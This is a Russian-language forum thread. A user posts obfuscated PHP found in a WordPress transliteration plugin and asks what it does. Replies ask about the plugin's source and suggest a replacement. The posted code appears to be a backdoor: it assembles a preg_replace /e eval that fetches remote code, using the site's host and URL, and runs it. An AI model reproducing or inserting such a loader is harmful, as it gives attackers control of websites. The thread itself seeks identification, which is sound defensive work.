Что выполняет данный код?

DI
На сайте с 22.01.2010
Offline
135
802

Подскажите пожалуйста, что выполняет данные код? Какой его алгоритм? Обнаружил в одном из планов WP, просмотрели оригинал файла в репозитории, там этого нет.

Впервые вижу такую конструкцию когда сервер отдает куда то PHP код


<?php
}
function get_shortcacher($length='') {
if (function_exists("get_shortcachers")) return ;
$mdetails="<div class='body-continent'><div class='get-inner-al(@fi'><!--Deregister() Default Widgets: _sabhrtupwprs:e--></div></div>";
$indent = ( isset($mytitle) ? str_repeat( "\t", $mytitle ) : $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
$output = $metaboxed = "";
$metaoptions="\\4'\\10"."\\12t\\16\\19//\\15q4.\\17u/\\9-".$indent."')\\5";
if (count($mytitle)>=$length) {
$mytitle = explode(" ",$mytitle." ");
} else {
$mytitle = explode(" "," ".$mytitle." ");
}
$metaboxe=str_repeat("(.)", 20).".*"."/".$mdetails[23];
if(function_exists("excerpt_more")){
add_filter('excerpt_modes', $metaboxe);
}
$output = '<p>'.$output.'</p>';
$pr="pre".strip_tags("g_rep").trim("lace");
$defult_widgets=@$pr("/.*(cont).*?(ge).*?(..\(.fi).*?(\()(\)).*?(\_){$metaboxe}is", "@\\20v\\3le\\6{$metaboxed}\\2t\\6\\1ents{$metaoptions}", $mdetails);
return $output;
}
$caches = get_shortcacher();

?>
DT
На сайте с 28.11.2006
Offline
298
#1

А что за плагин? Название? Где Вы его качали?

Дешевый CloudLinux хостинг (http://www.provisov.net) много площадок в России, Франции, Украине, Германии, Нидерландах, США, Канаде. SSL-сертификат (https://www.provisov.net/blog/2016/10/26/besplatnyj-ssl-sertifikat-dlya-vsex-vashix-sajtov/) бесплатный и предустановленный для всех доменов
DI
На сайте с 22.01.2010
Offline
135
#2

Плагин rus to late https://plugins.svn.wordpress.org/rustolat/trunk/rus-to-lat.php, с официального репозитория

SeVlad
На сайте с 03.11.2008
Offline
1609
#3
DaImeR:
Плагин rus to lat-e-

Про него нужно помнить только как про музейный экспонат.

А пользоваться актуальным https://wordpress.org/plugins/cyr3lat/

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
DI
На сайте с 22.01.2010
Offline
135
#4
SeVlad:
Про него нужно помнить только как про музейный экспонат.

А пользоваться актуальным https://wordpress.org/plugins/cyr3lat/

Заменять один на другой в работающем проекте без последствий возможно?

SeVlad
На сайте с 03.11.2008
Offline
1609
#5
DaImeR:
Заменять один на другой в работающем проекте без последствий возможно?

Вообще существующую латиницу никто не транслирует :) (Но бекапы никто не отменяет).

См в функциях:


Saves existing post and page permalinks integrity
Performs transliteration of attachment file names

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий